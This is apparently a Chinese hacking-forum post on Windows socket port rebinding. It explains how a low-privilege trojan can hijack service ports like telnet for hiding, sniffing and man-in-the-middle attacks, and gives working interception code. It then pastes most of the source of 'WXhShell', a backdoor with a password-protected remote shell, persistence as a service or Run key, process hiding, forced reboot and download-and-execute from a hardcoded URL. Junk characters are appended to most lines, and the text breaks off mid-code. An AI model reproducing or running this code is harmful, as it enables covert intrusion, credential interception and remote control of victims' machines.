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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: yogavCD9b/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0NU%z.(%s  
{fACfSW6  
  saddr.sin_family = AF_INET; . f ja;aG  
&S{r;N5u  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,XEIg  
FprdP*/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]{6/6jl  
u>fMO9X} 2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wkx9@?2*  
%@Gy<t,  
  这意味着什么?意味着可以进行如下的攻击: zX_F+"]THt  
U*=E(l  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 SPb +H19;  
0* F` h  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) W:RjWn@<  
2~$S @c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ),p0V  
M/p9 I gp  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?0/$RpFEM#  
~ps,U  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0Gs\x  
_gqqPny4$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /Y y)=~t{  
p [C 9g  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0 MK}  
5VTVx1P[8  
  #include aG }oI!  
  #include /(JG\Ut  
  #include 'Eur[~k  
  #include    ev;&n@k_I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )\Q(=:  
  int main() Pb'(Y  
  { =6dAF"b)  
  WORD wVersionRequested; NF8<9  
  DWORD ret; )%@7tx  
  WSADATA wsaData; %JE>Z]  
  BOOL val; xkDK5&V  
  SOCKADDR_IN saddr; \PxT47[@e  
  SOCKADDR_IN scaddr; N=\ zx^w,  
  int err; eTp|!T  
  SOCKET s; }"TQ\v$  
  SOCKET sc; v=@y7P1  
  int caddsize; r5~ W/eE  
  HANDLE mt; @bA5uY!  
  DWORD tid;   $@'BB=i  
  wVersionRequested = MAKEWORD( 2, 2 ); X3}eq|r9  
  err = WSAStartup( wVersionRequested, &wsaData ); cOV9g)7^O  
  if ( err != 0 ) { M)oKtiav*  
  printf("error!WSAStartup failed!\n"); 'd$RNqe  
  return -1; ts,r,{  
  } */M`KPW  
  saddr.sin_family = AF_INET; B%6cgm,  
   Kz42AC  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 z='%NZY  
0beP7}$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b~vV++ou_  
  saddr.sin_port = htons(23); Jo\MDyb]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m:h6J''<Z*  
  { o+Jnn"8  
  printf("error!socket failed!\n"); \+V"JIStUj  
  return -1; nv_vFK  
  } !4afU:  
  val = TRUE; csW\Q][  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9s"st\u 4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Z>`\$1CI  
  { FJZ'P;3  
  printf("error!setsockopt failed!\n"); *Mhirz% iD  
  return -1; ~".@mubt1$  
  } I.3~ctzu  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; LXo$\~M8G8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9PKXQp  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %FYhq:j  
7{}E{/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7_2D4CI  
  { sg7h&<Xx  
  ret=GetLastError(); =T9h7c R  
  printf("error!bind failed!\n"); j<~Wp$\i7>  
  return -1; 3FR(gr$X  
  } -Rw3[4>@O"  
  listen(s,2); '* y(F*7+  
  while(1) l }/_(*  
  { X\Bl? F   
  caddsize = sizeof(scaddr); .h meP MK  
  //接受连接请求 ^Q`5+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); aPelt`  
  if(sc!=INVALID_SOCKET) gw"cXny  
  { SvSO?H!-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [gBf1,bK  
  if(mt==NULL) 2%WeB/)9  
  { &"%Ws{Qn]  
  printf("Thread Creat Failed!\n"); 7=Muq]j2  
  break; our ^J8  
  } yDqwz[v b  
  } iKaX8c,zI  
  CloseHandle(mt); 8s6[-F5  
  } "?zWCH  
  closesocket(s); zj r($?  
  WSACleanup(); eV*QUjS~  
  return 0; rtS cQ  
  }   67rY+u%  
  DWORD WINAPI ClientThread(LPVOID lpParam) )<V!lsUx'-  
  { &Gh,ROo4  
  SOCKET ss = (SOCKET)lpParam; mj'~-$5T  
  SOCKET sc; ltuV2.$  
  unsigned char buf[4096]; /=;,lC  
  SOCKADDR_IN saddr; 0;TiNrzg  
  long num; f DXK<v)  
  DWORD val; 4JK6<Pk  
  DWORD ret; ^}~Q(ji7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 hOB<6Tm[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   n' mrLZw  
  saddr.sin_family = AF_INET; SEI0G_wk$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); o>M^&)Xs  
  saddr.sin_port = htons(23); myA;Y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9wR D=a  
  { t}R!i-D|HB  
  printf("error!socket failed!\n"); 8j>V?'Szk  
  return -1; r7W.}n*  
  } R7Qj<,  
  val = 100; #k9&OS?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [ ojL9.6  
  { c(=>5  
  ret = GetLastError(); =7+%31  
  return -1; K uwhA-IL  
  } ;t+p2i  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *}C%z(  
  { 01@ WU1IN  
  ret = GetLastError(); p?$N[-W6-  
  return -1; :0y-n.-{  
  } >!1] G"U  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  s;bGg  
  { MPUyu(-%{  
  printf("error!socket connect failed!\n"); enPtW  
  closesocket(sc); y<6Sl6l*  
  closesocket(ss); ^4`x:6m  
  return -1; @\F7nhSfa  
  } E}4{{{r  
  while(1) :4zPYG o  
  { lknj/i5L  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %BC%fVdP  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 SlB`ktcfI  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a&G{3#l  
  num = recv(ss,buf,4096,0); N>3{!K>/Y:  
  if(num>0) OF<:BaRs/  
  send(sc,buf,num,0); d"n>Q Tn\  
  else if(num==0) ^*l dsc  
  break; 0E#??gN  
  num = recv(sc,buf,4096,0); BaIpX<$T  
  if(num>0) dE8f?L'  
  send(ss,buf,num,0); 75H!i$(*+  
  else if(num==0) #6c,_!  
  break; SHYekX  
  } fwt+$`n  
  closesocket(ss); ?jMM@O`Nu  
  closesocket(sc); !7\dr )  
  return 0 ; 9)+!*(D  
  } @VP/kut  
iWeUsS%zpV  
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========================================================== LNJKf6:  
x3Cn:F  
下边附上一个代码,,WXhSHELL 8*8Y\"  
&c-V QP(  
========================================================== vVtkB$]L  
CX/[L)|Ru  
#include "stdafx.h" b(N+_= n  
;sA 5&a>!  
#include <stdio.h> Bs0~P 4^  
#include <string.h> i +@avoW  
#include <windows.h> aW:*!d#  
#include <winsock2.h> P\ P=1NM  
#include <winsvc.h> =?Ry,^=b  
#include <urlmon.h> =55)|$hgD  
I*U7YqDC9  
#pragma comment (lib, "Ws2_32.lib") !N+{X\+  
#pragma comment (lib, "urlmon.lib") ?W ^`Fa)]o  
M#2<|VUW,  
#define MAX_USER   100 // 最大客户端连接数 'exR;q\  
#define BUF_SOCK   200 // sock buffer /|U;_F Pmc  
#define KEY_BUFF   255 // 输入 buffer +xIVlH9`Q  
;gEEdx'&T  
#define REBOOT     0   // 重启 dKPXs-5  
#define SHUTDOWN   1   // 关机 IrRy1][Qr  
ISZEP8w  
#define DEF_PORT   5000 // 监听端口 ^Vth;!o  
t@lTA>;U@  
#define REG_LEN     16   // 注册表键长度 " AvEo  
#define SVC_LEN     80   // NT服务名长度 i8Be%y%y  
n.N0Nhd  
// 从dll定义API Kc] GE#~g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =^M Q 4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :Hitx  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %mlH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7h/Mkim$5  
-"Kjn`8  
// wxhshell配置信息 ^&F.T-(A  
struct WSCFG { <AVWT+,  
  int ws_port;         // 监听端口 }6u}?>S  
  char ws_passstr[REG_LEN]; // 口令 a)Ht(*/B  
  int ws_autoins;       // 安装标记, 1=yes 0=no T: '<:*pD  
  char ws_regname[REG_LEN]; // 注册表键名 q\P{h ij  
  char ws_svcname[REG_LEN]; // 服务名 *@lVesC2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @?tR-L<u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (Z@- e^R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S5m.oHJI*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %[*_-%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e#6H[t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  w D  
 [Ketg  
}; agoMsxI9  
F$v^S+Ch  
// default Wxhshell configuration g>ke;SH%KY  
struct WSCFG wscfg={DEF_PORT, 'U@Ep  
    "xuhuanlingzhe", \RVfgfe  
    1, )@ B !  
    "Wxhshell", W:f)#'  
    "Wxhshell", !x-9A  
            "WxhShell Service", @(/$;I,  
    "Wrsky Windows CmdShell Service", Ei,dO;&  
    "Please Input Your Password: ", N}z]OvnZH  
  1, N^`S'FVA  
  "http://www.wrsky.com/wxhshell.exe", e'|P^G>g  
  "Wxhshell.exe" V?MaI .gj  
    }; +A 6kw%"  
"5,Cy3  
// 消息定义模块 ?)qm=mebY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0a?[@ -Sz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; IH=%%AS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vO zUAi  
char *msg_ws_ext="\n\rExit."; g$=']A?W_  
char *msg_ws_end="\n\rQuit."; jxw8jo06:  
char *msg_ws_boot="\n\rReboot..."; 4[r:DM|8  
char *msg_ws_poff="\n\rShutdown..."; bA"*^"^  
char *msg_ws_down="\n\rSave to "; 7'.6/U  
s?sr0HZ  
char *msg_ws_err="\n\rErr!"; !9zs>T&9a\  
char *msg_ws_ok="\n\rOK!"; 0}_1 ZU  
eZpi+BRS6  
char ExeFile[MAX_PATH]; 0*OK]`9  
int nUser = 0; 1- GtZ2  
HANDLE handles[MAX_USER]; l>Zp#+I-  
int OsIsNt; @MH/e fW.  
'}Jq(ah(  
SERVICE_STATUS       serviceStatus; ;M#D*<ucI:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; noWwX  
!q+ %]k?x  
// 函数声明 ~:="o/wo  
int Install(void); 5n2}|V$VqP  
int Uninstall(void); a,t]>z95  
int DownloadFile(char *sURL, SOCKET wsh); _A$V~Hp9q  
int Boot(int flag); {y!77>Q/  
void HideProc(void); rj eKG-Z@  
int GetOsVer(void); .GDY J9vi  
int Wxhshell(SOCKET wsl); DQ6pe)E|  
void TalkWithClient(void *cs); ltl(S Ii  
int CmdShell(SOCKET sock); =5p?4/4 J  
int StartFromService(void); <~5$<L4  
int StartWxhshell(LPSTR lpCmdLine); "Bn]-o|r  
vdulrnGqL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `Z#]lS?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pKL^ <'w0  
iaaD1 <m  
// 数据结构和表定义 b\"2O4K,)  
SERVICE_TABLE_ENTRY DispatchTable[] = F>q%~  
{ B&lF! ]  
{wscfg.ws_svcname, NTServiceMain}, xe1xP@e?  
{NULL, NULL} m,]h7xx  
}; ^@q $c  
V/DdV}n!  
// 自我安装 `ucr;P  
int Install(void) (@*#Pn|A  
{ >\ym{@+*  
  char svExeFile[MAX_PATH]; sv>c)L}I  
  HKEY key; A$'rT|>se  
  strcpy(svExeFile,ExeFile); 9TE-'R@  
 7w|4BRL  
// 如果是win9x系统,修改注册表设为自启动 FU(s jB  
if(!OsIsNt) { ~gbq^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pdR&2fp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #kEa&Se  
  RegCloseKey(key);  gY@$g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $66DyK?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  N5GQ2V  
  RegCloseKey(key); WXE{uGc  
  return 0; DvXbbhp  
    } (AgM7H0  
  } x42m+5/  
} DU[vLe|Z  
else { @y\M8C8  
J3=^ +/g  
// 如果是NT以上系统,安装为系统服务 .zyi'Kj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y>m=A41:g  
if (schSCManager!=0) XS"lR |  
{ 9L xa?Y1  
  SC_HANDLE schService = CreateService 9k!#5_ M  
  ( KbF,jm5  
  schSCManager, d\aU rsPn  
  wscfg.ws_svcname, !xh.S#B  
  wscfg.ws_svcdisp, ur`:wR] 2?  
  SERVICE_ALL_ACCESS, X5D}<J2"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H`ZUI8-  
  SERVICE_AUTO_START, fNaS?tV)  
  SERVICE_ERROR_NORMAL, Q2/ZO2  
  svExeFile, E%C02sI  
  NULL, zpd Z.  
  NULL, I_@XHhyVZ  
  NULL, iY1JU -S  
  NULL, s5ddGiZnBT  
  NULL Cy##+u,C  
  ); wrW768WR  
  if (schService!=0) j"8|U E  
  { 9ozUg,+Z|J  
  CloseServiceHandle(schService); p2~MJ LK4  
  CloseServiceHandle(schSCManager); w;Na9tR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2s@<k1EdPl  
  strcat(svExeFile,wscfg.ws_svcname); 6<<ihm+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :Yqi5CR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A#j'JA>_  
  RegCloseKey(key); p1L8g[\  
  return 0; Gv w:h9v  
    } { wx!~K  
  } Y/_b~Ahn  
  CloseServiceHandle(schSCManager); `!\`yI$!%w  
} BI-xo}KI  
} @{!c [{x,T  
'Nv*ePz  
return 1; J@c)SK%2h  
} k:0HsN!F9  
\{[Gdj`  
// 自我卸载 <M|kOi  
int Uninstall(void) ca1A9fvo  
{ AA$-Lx(UJk  
  HKEY key; RE(R5n28,  
u%vq<|~-  
if(!OsIsNt) { PNn{Rt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BK8)'9/  
  RegDeleteValue(key,wscfg.ws_regname); e" f/  
  RegCloseKey(key); R1X{=ct  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8D U|j-I8  
  RegDeleteValue(key,wscfg.ws_regname); EsU-Ckb_2:  
  RegCloseKey(key); +,"/z\QO  
  return 0; P'6eK?  
  } 4b B)t#  
} B6iH[dTy_  
} J!,<NlP0K  
else { -%lA=pS{Fq  
Rb~NX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Vn-y<*np  
if (schSCManager!=0) ;V~[kF=t0  
{ /}\EMP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0a??8?Q1G  
  if (schService!=0) Q9 b.]W  
  { X rVF %  
  if(DeleteService(schService)!=0) { j ,' $i[F'  
  CloseServiceHandle(schService); Eh)PZvH  
  CloseServiceHandle(schSCManager); |P si?'4  
  return 0; c1?_L(  
  } )8:Ltn%  
  CloseServiceHandle(schService); Re{vO&.  
  } +KV`+zic+  
  CloseServiceHandle(schSCManager); %(,Kj ~0  
} XP"lqyAi  
} =r=YV-D.  
MV<2x7S  
return 1; 1>1&NQ#}  
} Ap{p_~~iJ  
a'zf8id  
// 从指定url下载文件 =Vv"\p8  
int DownloadFile(char *sURL, SOCKET wsh) >M\3tB2C  
{ |Fk>NX  
  HRESULT hr; w]hs1vch  
char seps[]= "/"; )B86  
char *token; -rSp gk0wL  
char *file; RjY(MSc  
char myURL[MAX_PATH]; F(J6 XnQ  
char myFILE[MAX_PATH]; }]ak6'|[  
W *t+!cU/:  
strcpy(myURL,sURL); [;`B   
  token=strtok(myURL,seps); TzT(aWP"  
  while(token!=NULL) v"VpE`z1#  
  { 5J^S-K^r  
    file=token; 82.::J'e  
  token=strtok(NULL,seps); J|-X?V;ZW  
  } x78`dX  
*UVo>;  
GetCurrentDirectory(MAX_PATH,myFILE); [=[>1<L>  
strcat(myFILE, "\\"); 59;p|  
strcat(myFILE, file); diF-`~  
  send(wsh,myFILE,strlen(myFILE),0); X!,2/WT  
send(wsh,"...",3,0); roDE?7x1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0drt,k  
  if(hr==S_OK) AM4lAq_  
return 0; 18ApHp  
else h\#\hx  
return 1; Y[l*>}:w  
WdEVT,jjh  
} 038|>l-9[  
:C*7 DS  
// 系统电源模块 kcg{z8cd'r  
int Boot(int flag) zO BLF|L=  
{ j\kT H  
  HANDLE hToken; 04`2MNfxG  
  TOKEN_PRIVILEGES tkp; \':'8:E  
!7C[\No(  
  if(OsIsNt) { R_IUuz$e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,@mr})s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?RyeZKf  
    tkp.PrivilegeCount = 1; &M p??{g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v]UT1d=_T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |sP;`h}I%  
if(flag==REBOOT) { \$.8iTr@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V2As 5  
  return 0; fhGI  
} TPjElBh  
else { By& T59  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'MLp*3djF,  
  return 0; Y.XNA]|  
}  n7g}u  
  } Hd*e9;z  
  else { 5G$N  
if(flag==REBOOT) { (X=JT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P%VEJ5,]b  
  return 0; 6 V{Sf9V|  
} 77KB-l2  
else { a8D7n Ea  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *3.K; Ic;  
  return 0; kiYHJ\a  
}  GtR!a  
} !=(OvX_<  
&PQhJ#YG  
return 1; _{Q)5ooP  
} #0HZ"n  
S T#9auw  
// win9x进程隐藏模块 ,X+LJe$  
void HideProc(void) tB S+?N  
{ BlwAD  
+,7nsWV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yx0wR  
  if ( hKernel != NULL ) PIk2mX/D_6  
  { I5#KLZVg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t zn1|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]ySm|&aU  
    FreeLibrary(hKernel); > 2)@(f~g  
  } 9:DT+^BB  
;Gc,-BDFw  
return; /g/]Q^  
} |/^ KFY"  
+2:\oy}!8  
// 获取操作系统版本 tx` Z?K[  
int GetOsVer(void) w)C/EHF  
{ @c;XwU]2t  
  OSVERSIONINFO winfo; 0m2%ucKw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m*bTELb  
  GetVersionEx(&winfo); |7Dc7p"D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QZwUv<*  
  return 1; rra|}l4Y  
  else EM2=g9y  
  return 0; #VM+.75o1  
} qQ&=Z` p!  
]>v C.iYp  
// 客户端句柄模块 `!,"">5  
int Wxhshell(SOCKET wsl) .rPg  
{ xUW\P$  
  SOCKET wsh; GZefeBi  
  struct sockaddr_in client; rY?]pMp  
  DWORD myID; ^LI\W'K  
o#Gf7.E8  
  while(nUser<MAX_USER) 6Qc *:(GE  
{ $ jkzm8{W  
  int nSize=sizeof(client); :@rq+wvP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Lm-f0\(  
  if(wsh==INVALID_SOCKET) return 1; dDu8n+(8 L  
Z;ze{Vb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v(0IQ  
if(handles[nUser]==0) 'zJBp 9a%  
  closesocket(wsh); :9H`O!VF  
else HNUpgNi  
  nUser++; 7MbV|gM}  
  } i C)+5L#'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "]SA4Ud^  
dI(1L~  
  return 0; 2v$\mL  
} '048Qykt;  
t6q7 w  
// 关闭 socket dDg[ry  
void CloseIt(SOCKET wsh) (Sv=R(_s  
{ ;W 3#q:  
closesocket(wsh); H\%^n<]#  
nUser--; c9ye[81  
ExitThread(0); ge#0Q L0K  
} 5)c B\N1u  
Lo<WK  
// 客户端请求句柄 ?]%ZJd  
void TalkWithClient(void *cs) i,h)V Cc  
{ xe4`D>LUo  
9^?2{aP%  
  SOCKET wsh=(SOCKET)cs; SuR+Vv  
  char pwd[SVC_LEN]; d53Eu`QW?  
  char cmd[KEY_BUFF]; w#d7  
char chr[1]; : uxJGx  
int i,j; sC'PtFK8z  
).32Im!;#R  
  while (nUser < MAX_USER) { >6KwZr BB  
&q7}HO/ @  
if(wscfg.ws_passstr) { Mdw"^x$7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~hxW3e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YB+My~fw{l  
  //ZeroMemory(pwd,KEY_BUFF); 2!)|B ;y  
      i=0; g#iRkz%l)&  
  while(i<SVC_LEN) { Vl^p3f[  
3^Q;On|  
  // 设置超时 {_G_YL[  
  fd_set FdRead; 6fm oI K{  
  struct timeval TimeOut; F! [Gj%~I  
  FD_ZERO(&FdRead); 8kf5u#,'  
  FD_SET(wsh,&FdRead); V8O-|7H$ v  
  TimeOut.tv_sec=8; Eo`'6 3  
  TimeOut.tv_usec=0; V.e30u5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5yL\@7u`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g [u*`]-;v  
:bq$ {  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *L&|4|BF2  
  pwd=chr[0]; lqcPV) n  
  if(chr[0]==0xd || chr[0]==0xa) { n v ?u  
  pwd=0; bXz*g`=;  
  break; _<6E>"*m  
  } `l'Ine 11  
  i++; *x/H   
    } b:PzqMh{G  
B un^EJ)  
  // 如果是非法用户,关闭 socket e>UU/Ks  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~}_S]^br  
} yR% l[/ X  
6T5\zInd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nGM;|6x"8|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `i vE: 3k  
1j]vJ4R_\  
while(1) { v]'\]U^  
uovSe4q5q  
  ZeroMemory(cmd,KEY_BUFF); *m8{yh  
$WiU oS  
      // 自动支持客户端 telnet标准   SN 4JX  
  j=0; -C2[ZP-  
  while(j<KEY_BUFF) { +V9(4la  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4nXemU=  
  cmd[j]=chr[0]; 'Yaq; mDY  
  if(chr[0]==0xa || chr[0]==0xd) { %KPQ|^WE  
  cmd[j]=0; F@KtRUxE  
  break; Gs>4/  
  }  Xb~i?T;f  
  j++; _n0NE0  
    } gSHN,8. `  
,:{+-v(  
  // 下载文件 mLV0J '  
  if(strstr(cmd,"http://")) { (~NR."s;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OD~yIV  
  if(DownloadFile(cmd,wsh)) dn&4 84  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oT!i}TW?o  
  else q>6RO2,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GF36G?iEi  
  } 5,BvT>zFY  
  else { KP`Pzx   
WQ9VcCY  
    switch(cmd[0]) { Ri3*au/Q  
  h^YUu`P  
  // 帮助 y J>Bc  
  case '?': { .7+"KP:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '(zP;  
    break; 09=w  
  } _U o3_us  
  // 安装 w ^ X@PpP  
  case 'i': { /vPr^Wv  
    if(Install()) ,uD}1 G<u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [[O4_)?el  
    else ;3iWV"&_A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M}`T-"qf  
    break; ny0]Q@  
    } SB:z[kfz|  
  // 卸载 )K]<\Q[  
  case 'r': { od^o9(.W^  
    if(Uninstall()) %"ehZ d0r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {5 3#Xd  
    else k&:~l@?O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @W=: r/  
    break; I5]58Ohx  
    } \0)2 u[7  
  // 显示 wxhshell 所在路径 }+giQw4  
  case 'p': { ;<=z^1X9  
    char svExeFile[MAX_PATH]; 1I%niQv5t  
    strcpy(svExeFile,"\n\r"); L+lX$k  
      strcat(svExeFile,ExeFile); %r@:7/  
        send(wsh,svExeFile,strlen(svExeFile),0); O4!!*0(+91  
    break; !{!(yP_  
    } _`Dz%(c  
  // 重启 \SBAk h  
  case 'b': { vvLzUxV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  `ghNS  
    if(Boot(REBOOT)) \Hu?K\SWs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bV:MOj^  
    else { (e32oP"  
    closesocket(wsh); ^[EXTBk@:  
    ExitThread(0); V$ho9gQ!l[  
    } !,~C  
    break; Gw#z:gX2  
    } {5SJ0'.B2g  
  // 关机 R8|F qBs  
  case 'd': { Yez  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aW#^@||B  
    if(Boot(SHUTDOWN)) -h2 1  
